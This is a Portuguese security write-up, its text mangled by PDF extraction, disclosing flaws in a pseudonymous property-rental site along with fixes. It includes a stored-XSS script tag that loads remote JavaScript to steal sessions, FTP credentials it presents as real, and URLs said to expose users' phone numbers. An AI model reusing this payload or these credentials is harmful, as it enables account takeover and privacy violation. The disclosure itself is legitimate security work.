Você está na página 1de 7

Analise´

Vulnerabilidades

de

echo-request.pt

http://infptavares.blogspot.pt

infptavares@gmail.com

C ar´ıssimos leitores, este artigo, consiste num estudo ao sistema echo-request.pt (nome fict´ıcio) um sistema de aluguer

de im´oveis. A sua administra¸c˜ao e o webmas- ter, foram contactados antecipadamente `a sua publica¸c˜ao, por forma, a permitir a corre¸c˜ao das vulnerabilidades e bugs mencionados a se- guir. Antes de mais, ´e necess´ario refor¸car a ideia que, o presente artigo apenas visa expor as vulnerabilidades do sistema, e n˜ao incenti- var `a pr´atica de maus h´abitos. Este ´e um caso real de um sistema leg´ıtimo, mas por alguns motivos ´e mantido o anonimato.

Introduc¸ ao˜

Um dos maiores conceitos por de tr´as de cada sis-

tema ´e o de vulnerabilidade.

que correm as empresas focam-se em demasia na produ¸c˜ao em massa de software, e a sua seguran¸ca ´e colocada num patamar bastante inferior. N˜ao admira ent˜ao as toneladas de not´ıcias sobre este tema. O sistema que foi an´alisado como j´a referido ´e o echo- request.pt. Em seguida, s˜ao apresentados os t´opicos em an´alise.

´

E sabido que, nos dias

1. Inser¸c˜ao ilimitada de conte´udo.

2. Permiabilidade a XSS (Cross-site Scrip- ting ).

3. Roubo de Sess˜oes PHP (Hypertext Pre- processor ).

4. Acesso n˜ao protegido ao Back-office.

5. Acesso

FTP

(File

for¸ca da password .

Transfer

Protocol ),

6. Acesso ao servi¸co de e-mail .

7. Permiabilidade

a Phishing .

8. Sess˜oes PHP e Javascript.

As proximas sec¸c˜oes visam documentar os t´opicos mencionados acima.

O sistema echo-request.pt

O sistema echo-request.pt, ´e um sistema de aluguer de im´oveis. Como ´e apresentado na figura abaixo, possu´ı um layout bastante atrativo e de f´acil uso, para qualquer ass´ıduo utilizador.

A navegabilidade do sistema (web-page), foca-se muito na tecnologia do google maps, visto que, o ob- jetivo ´e a pesquisa de im´oveis e suas coordenadas no

Figura 1: P´agina principal (index.php). mapa. Este sistema, conta j´a com algumas centenas de utilizadores.

Figura 1: P´agina principal (index.php).

mapa. Este sistema, conta j´a com algumas centenas de utilizadores.

1 Inserc¸ ao˜

ilimitada de conteudo´

Um dos t´opicos para discuss˜ao e em an´alise ´e o formul´ario de inser¸c˜ao de um novo im´ovel. A hi- perliga¸c˜ao para este m´odulo encontra-se no canto superior direito da p´agina, como ilustra a seguinte imagem.

direito da p´agina, como ilustra a seguinte imagem. Figura 2: Inserir um im´ovel. (pag InserirImovel.php). A

Figura 2: Inserir um im´ovel. (pag InserirImovel.php).

A hiperliga¸c˜ao ”Inserir An´uncio”, diz respeito a uma p´agina php (pag InserirImovel.php), que ´e inclu´ıda na p´agina principal do sistema (index.php). De seguida, ´e poss´ıvel ver a p´agina j´a formatada atrav´es de CSS (Cascading Style Sheets).

formatada atrav´es de CSS ( Cascading Style Sheets ). Figura 3: Inserir im´ovel (p´agina formatada). Nesta

Figura 3: Inserir im´ovel (p´agina formatada).

Nesta p´agina, e nomeadamente no separador cen- tral a` direita, ´e possivel inserir um n´umero ilimitado de fotos do im´ovel. Assim sendo, um comum uti- lizador poder´a disfrutar desta vulnerabilidade de maneira a saturar e ocupar demasiado espa¸co no

servidor de dados. Um aspeto bastante importante

e cr´ıtico, ´e a falta de verifica¸c˜ao contra spam e bots (crawlers). Para mais detalhe sobre o assunto, po- der´a ser consultado o seguinte link . Sem a devida prote¸c˜ao ´e poss´ıvel construir scripts

e.g., python, n˜ao s´o para inser¸c˜ao ilimitada das fo- tos dos im´oveis, mas como tamb´em, para a cria¸c˜ao ilimitada e descontrolada de registos. Isto ´e extre- mamente grave, devido `a permiabilidade a XSS do formul´ario, que posteriormente, pode causar danos como o furto de sess˜oes e cookies. Antecipadamente, esta vulnerabilidade pode ser evi- tada atrav´es de verifica¸coes anti-bots, por exemplo,

o uso de CAPTCHA seria uma ´otima solu¸c˜ao.

2 Permiabilidade a XSS

Uma das maiores vulnerabilidades em sistemas web- based ´e sem d´uvida o XSS. O sistema em an´alise n˜ao ´e exce¸c˜ao, o campo ”descri¸c˜ao”no formul´ario de inser¸c˜ao ´e permi´avel, isto ´e, n˜ao ´e feita qualquer verifica¸c˜ao aos registos introduzidos pelo utilizador. A seguinte imagem, ilustra a inje¸c˜ao de c´odigo no formul´ario.

imagem, ilustra a inje¸c˜ao de c´odigo no formul´ario. Figura 4: Campos descri¸c˜ao do im´ovel. O c´odigo

Figura 4: Campos descri¸c˜ao do im´ovel.

O c´odigo XSS injetado ´e do tipo persistente,

quer dizer que, este ´e armazenado na base de dados

do sistema. Acaba de se confirmar, sendo esta uma vulnerabilidade grav´ıssima, pois permite a inje¸c˜ao de c´odigo malicioso na base de dados de suporte. Por outro lado, este ´e visto e carregado no browser dos utilizadores e administradores do pr´oprio sistema, com a inten¸c˜ao de roubar as suas contas pessoais. Uma forma elegante de projetar esse esquema ´e a partir de um ficheiro javascript (.js). Em seguida,

´e apresentado um exemplo de como ´e injetado um desses ficheiros.

< script

" http :// sitedotoze . com / vulneravel . js " > </ script >

A inclus˜ao do ficheiro permite tamb´em a inje¸c˜ao

de c´odigo do tipo dinˆamico, isto ´e, apontando para

src =

um diret´orio na Internet. Portanto, cabe ao deten- tor do ficheiro malicioso modific´a-lo, quando e bem entender.

3 Roubo de Sessao˜

PHP

O roubo de sess˜ao via XSS ´e um dos ataques que

permite subverter os privil´egios de forma tempor´aria no sistema. Isto ´e conseguido atrav´es da inclus˜ao de ficheiros javascript, tal como mencionado anterior- mente. A seguinte figura simula esse processo.

anterior- mente. A seguinte figura simula esse processo. Figura 5: Roubo de sess˜ao (SID) PHP. Atrav´es

Figura 5: Roubo de sess˜ao (SID) PHP.

Atrav´es da simples execu¸c˜ao de c´odigo no browser

do utilizador, ´e possivel obter a sua sess˜ao. Caso este

utilizador seja um administrador, ent˜ao o acesso ao painel de administra¸c˜ao ´e uma realidade. A seguinte

imagem ´e bastante ilustrativa.

uma realidade. A seguinte imagem ´e bastante ilustrativa. Figura 6: Acesso area´ Stealing). administrativa

Figura 6: Acesso area´ Stealing).

administrativa (Cross-site Cookie

´

restrita de administra¸c˜ao

do sistema atrav´es de Cross-site Cookie Stealing

Persistence. Desta forma, enquanto o utilizador

E poss´ıvel aceder a` area´

leg´ıtmo permanecer em sess˜ao, existe a possibilidade de navegar no sistema com os seus privil´egios. Por vezes, a falta de cuidados de programa¸c˜ao nesta sec¸c˜ao administrativa, permite a cria¸c˜ao de utilizadores com o n´ıvel m´aximo de privil´egios. Numa pr´oxima visita ao sistema, apenas ´e necess´ario efetuar a autentica¸c˜ao com esse novo utilizador.

Toda a vez que um utilizador visite uma p´agina do sistema infetada com o c´odigo malicioso, a sua sess˜ao ´e enviada para o servidor que suporta o c´odigo malicioso. Mais, o projetista pode elaborar um script para ser informado via e-mail de uma nova entrada na sua base de dados maliciosa. A seguinte imagem ilustra esse caso.

de dados maliciosa. A seguinte imagem ilustra esse caso. Figura 7: Listagem de sess˜oes. Por consequˆencia,

Figura 7: Listagem de sess˜oes.

Por consequˆencia, ´e poss´ıvel obter o IP do uti-

lizador. E se ele se liga ao sistema atrav´es de um

local inseguro?

malicioso explorar essa vulnerabilidade, nesse caso, est´a a fugir um pouco ao foco geral, o sistema echo- request.pt.

´

E poss´ıvel ao projetista do c´odigo

3.1

Soluc¸ ao˜

e Prevenc¸ ao˜

contra XSS

A solu¸c˜ao contra este tipo de inje¸c˜ao de c´odigo, ´e a verifica¸c˜ao de todas as entradas de dados oriundas do utilizador. Portanto, todos os formul´arios e caixas de texto devem ser estritamente verificadas, atrav´es de fun¸c˜oes client-side e server-side. Uma das melho- res abordagens para o fazer, ´e o uso de express˜oes regulares (Regular expression, do inglˆes). Outro as- peto, ´e o tamanho do campo, o programador deve

definir da forma hardcoded o tamanho m´aximo do campo. Desta maneira, dificulta a inje¸c˜ao de scripts maliciosos. Este aspeto deve ser tamb´em refletido na base de dados.

4

Acesso nao˜

protegido ao

Back-office

Na maior parte das vezes, os back-offices dos siste-

mas n˜ao s˜ao desenhados e projetados com o devido cuidado. Uma das suas raz˜oes, ´e devido aos tipos de utilizador que visam usufruir do servi¸co. Estes utilizadores, s˜ao na sua maioria, os webmasters e administradores, um pequeno n´umero contabilizando

o n´umero de utilizadores registados. Normalmente,

este tipo de servi¸cos encontram-se em diret´orios como

site/admin, no caso do echo-request, ele est´a pre- sente no diret´orio: http://echo-request.pt/im . A seguinte imagem ilustra a p´agina de acesso ao painel administrativo do sistema.

a p´agina de acesso ao painel administrativo do sistema. Figura 8: Back-office do sistema. Duas poss´ıveis

Figura 8: Back-office do sistema.

Duas poss´ıveis solu¸c˜oes para evitar, por exemplo, ataques dicion´ario a estes formul´arios de login, s˜ao

as mencionadas a seguir.

Fazer uso de uma VPN (Virtual Private Network ), para aceder a esta p´agina. Estas configura¸c˜oes, poder˜ao ser definidas no server- side.

Usar Basic Authentication no dom´ınio. Esta configura¸c˜ao pode ser definida no server-side.

A seguinte imagem ilustra a mensagem apresen- tada ao utilizador, quando o ponto dois, est´a confi- gurado no sistema. Desta maneira, existe a possibilidade de restringir

o acesso a pessoas n˜ao autorizadas ao dom´ınio, e tamb´em evitar ataques dicion´ario e brute-force.

5

Acesso FTP, forc¸ a da password

O

prot´ocolo FTP (File Transfer Protocol ) ´e um dos

mais usados na transferˆencia de dados em massa na Internet. Por norma, n˜ao existe a necessidade do porto 21 (FTP ) estar a` escuta no servidor, somente

do porto 21 ( FTP ) estar a` escuta no servidor, somente Figura 9: Back-office do

Figura 9: Back-office do sistema com Basic Authentica- tion.

se necess´ario. Segundo alguma an´alise, ´e poss´ıvel observar que o sistema echo-request.pt possu´ı a porta 21 do servidor com o estado dispon´ıvel. Isto que dizer que, h´a a possibilidade de aceder ao servidor via FTP, restando apenas introduzir os dados de acesso (username, password ) para ter total liberdade no download e upload de ficheiros. Atrav´es de um estudo de laborat´orio, ´e poss´ıvel descobrir os dados de acesso ao servidor. username: echo-request password : echo-request123

´

E de extrema importˆancia a for¸ca da password de acesso a estas ´areas cr´ıticas do sistema. Os danos causados por facilitismos s˜ao incalcul´aveis! Uma das op¸c˜oes a ser adoptadas ´e o uso de geradores de passwords, por forma, a evitar o uso de passwords demasiado descomplicadas. Este, ´e um assunto ex- cessivamente extenso para ser discutido no artigo. O ser humano definiu a password echo-request123”, mas ter´a de pensar obrigat´oriamente que existem outros seres humanos a pensar como ele. A imagem em seguida mostra como ´e f´acil explorar o servi¸co via linha-de-comando no sistema operativo Windows.

via linha-de-comando no sistema operativo Windows . Figura 10: Acesso via FTP ao sistema. Ainda dentro

Figura 10: Acesso via FTP ao sistema.

Ainda dentro do tema da seguran¸ca, para aceder

via FTP ao sistema, existe a necessidade de enviar um ping ao sistema (uma alternativa), para obter o seu IP real. Desta maneira, e digitando no browser o IP, ´e poss´ıvel constatar uma curio- sidade. A seguinte imagem ´e bastante representativa.

sidade. A seguinte imagem ´e bastante representativa. Figura 11: Acesso ao painel de configura¸c˜ao do

Figura 11: Acesso ao painel de configura¸c˜ao do servidor.

Parece ter havido uma falha na configura¸c˜ao server-side, por´em, o endere¸co IP do sistema re- direciona para o sub-dom´ınio http://zpanel.echo- request.pt . Atrav´es do uso do traceroute ´e tamb´em poss´ıvel descurtinar alguns pontos importantes, nomea- damente a n˜ao existˆencia de firewall no servidor. Esta descoberta poder´a ter consequˆencias dr´asticas. Analisando a for¸ca das passwords usadas no sistema, caso, via ataque brute-force ou dicion´ario, a password seja descoberta, o sistema poder´a ser derrubado muito f´acilmente, eliminado todos e quaisquer ficheiros do servidor, assim como c´opias de seguran¸ca da base de dados. A integridade e autenticidade dos registos, como contas de utilizador ( passwords dos utilizadores), s˜ao tamb´em violadas e postas em causa.

Desta forma, e dependendo do tipo de processo de como a password ´e armazenada na base de dados (SHA512 ), conhecendo o processo (obtendo-o dos ficheiros do servidor) e verificando se aplic´avel o salt, existe a possibilidade de crackar um grande e novo n´umero de novas chaves de HASH .

6 Acesso ao servic¸o de e-mail

Como j´a mencionado, os formul´arios de login de qualquer sistema, se n˜ao houver prote¸c˜ao, s˜ao expostos sucessivamente a ataques. Derivado de alguma pesquisa, ´e poss´ıvel verificar a existˆencia do seguinte link no sistema: http://zpanel.echo- request.pt/etc/apps/webmail . Este diz respeito ao cliente de e-mail usado para aceder ao servi¸co.

Como sabido, o n´ıvel de prote¸c˜ao das passwords do sistema n˜ao ´e tanto ou mais ou menos suficiente. Posto isto, e segundo alguma pesquisa, ´e poss´ıvel encontrar o e-mail usado no sistema, geral@echo- request.pt .

Em seguida ´e poss´ıvel visualizar uma imagem que apresenta o acesso direto ao cliente de e-mail.

imagem que apresenta o acesso direto ao cliente de e-mail . Figura 12: Acesso ao cliente

Figura 12: Acesso ao cliente de e-mail.

Caso o acesso ao servi¸co de e-mail seja uma re- alidade, uma poss´ıvel praga apelidada de Phishing pode estar `a vista.

7 Permiabilidade a Phishing

Sabendo que este tipo de esquemas ´e muito usual para furto de informa¸c˜oes pessoais na Internet, o seu uso poderia ser uma realidade atrav´es do acesso ao cliente de e-mail, como j´a mencionado anteriormente. Mais uma vez, e como fruto de uma intensa pesquisa, no sistema est˜ao dispon´ıveis 3 ficheiros que exp˜oem informa¸c˜oes dos seus utilizadores, nomeadamente n´umeros de telem´ovel e nome. Estes ficheiros s˜ao os seguintes.

http://echo-request.pt/bulk/bulkSMS96.php

http://echo-request.pt/bulk/bulkSMS91.php

http://echo-request.pt/bulk/bulkSMS93.php

A partir daqui, apenas ´e necess´ario dar asas `a imagina¸c˜ao, e desenhar e planear um esquema frau- dulento. Conv´em dar real aten¸c˜ao que tudo isto seria poss´ıvel caso a password do servi¸co de e-mail fosse descoberta. Voltando a referir, o n´ıvel de prote¸c˜ao destas deve ser altamente exagerado e fora da ima- gina¸c˜ao de um ser humano, pois normalmente o ser humano tende sempre em facilitar na sua constru¸c˜ao.

8 Sessoes˜

PHP e Javascript

Pelo bem ou pelo mal, muitos sistemas atualmente fazem uso de chamadas a servi¸cos via javascript

(web-services / web-requests).

que o echo-request.pt n˜ao ´e exce¸c˜ao. Um dos exem- plos dessas chamadas ´e a p´agina editarImovel.php, presente na ´area reservada `a gest˜ao de im´oveis do utilizador. A imagem a seguir apresenta essa ´area.

´

E poss´ıvel verificar

a seguir apresenta essa ´area. ´ E poss´ıvel verificar Figura 13: ´ Area de gest˜ao do

Figura 13:

´

Area de gest˜ao do sistema.

Olhando para a imagem ´e poss´ıvel verificar a existˆencia de um bot˜ao editar. Este bot˜ao, faz um request ao sistema, mas o c´odigo n˜ao est´a di- reto no c´odigo-fonte da p´agina. Este encontra-se num ficheiro de nome libAnuncios.js, como indica a seguinte inclus˜ao.

< script

" libs / libBack . js "

> </ script >

src =

type = " text / javascript "

Existe a possibiliade de observar a sua inclus˜ao no c´odigo-fonte da p´agina. Este ficheiro possu´ı o c´odigo referente a` chamada da p´agina de edi¸c˜ao. Em seguida s˜ao destacadas as linhas mais importantes.

codImovel = $ ( this ) . attr ( " imovel " ) ; id = " # " + codImovel ;

!1=== $ ( id ) . is ( " :

visible " ) &&( $ ( " . div -

editar - imovel " ) . hide () . empty () , $ ( id ) . load (

" editarImovel . php ? codImovel = " + codImovel

Verificando a ultima´ linha do trecho exibido, ´e

poss´ıvel concluir que ocorre uma troca de argu-

mentos via GET

com a p´agina editarImove.php.

´

E passadada uma chave do im´ovel, aparanta ser uma cadeia de carateres (token) gerada aquando a

cria¸c˜ao do im´ovel.

Em teoria, passando uma chave v´alida de um im´ovel, mesmo sendo de um utilizador que n˜ao o autenticado no sistema, a p´agina dever´a retornar os

dados referentes ao im´ovel. Para evitar este cen´ario, no server-side dever´a sempre ser verificada a sess˜ao ativa, e se ela ´e tamb´em leg´ıtima.

Por forma a analisar esta vulnerabilidade, poder´a ser feito o download da devida p´agina e suas de- pendˆencias para o localhost. A partir da´ı, torna-se f´acil de projetar o script. A seguinte imagem ilustra a tentativa de alterar registos n˜ao autorizados no sistema.

tentativa de alterar registos n˜ao autorizados no sistema. Figura 14: Script a correr no localhost. ´

Figura 14: Script a correr no localhost.

´

E poss´ıvel observar que a p´agina editarImo- vel.php retorna de forma eficiente os dados referente

a qualquer im´ovel do sistema. Posteriormente,

ser´a possivel a edi¸c˜ao do registo, mas quando ´e enviado o pedido de submiss˜ao dos novos registos (modificados), o sistema recusa essa modifica¸c˜ao, isto ´e, ´e feita a verifica¸c˜ao de sess˜ao no server-side. Portanto, desta maneira, ´e evitada a modifica¸c˜ao do registo relativo ao im´ovel. Tal s´o poderia acontecer, caso uma sess˜ao fraca fosse criada no servidor.

Algumas dicas para manter um n´ıvel de seguran¸ca razo´avel em qualquer sistema, podem ser as apresen- tadas em seguida.

Controlar o n´umero de pedidos de um cliente IP a uma p´agina. Desta forma ´e possivel evitar ataques DoS, DDoS e bruce-force.

Controlar o n´umero de pedidos de um cliente IP `a p´agina de administra¸c˜ao do servidor Zpanel.

Desta forma, qualquer administrador se pode precaver de problemas como ataques dicion´ario e bruce force `as p´aginas de administra¸c˜ao e login de qualquer sistema.

Salientar que, o objetivo deste artigo ´e apenas

expor as vulnerabilidades do sistema, enriquecendo

os conhecimentos dos leitores. A administra¸c˜ao do

sistema foi avisada antecipadamente da publica¸c˜ao

do presente artigo, de modo, a permitir a corre¸c˜ao das vulnerabilidades nele discutidas. Por algumas raz˜oes foi sempre mantido o anonimato, tamb´em para proteger o sistema em causa.

Boa continua¸c˜ao.

Documento gerado via LaTeX .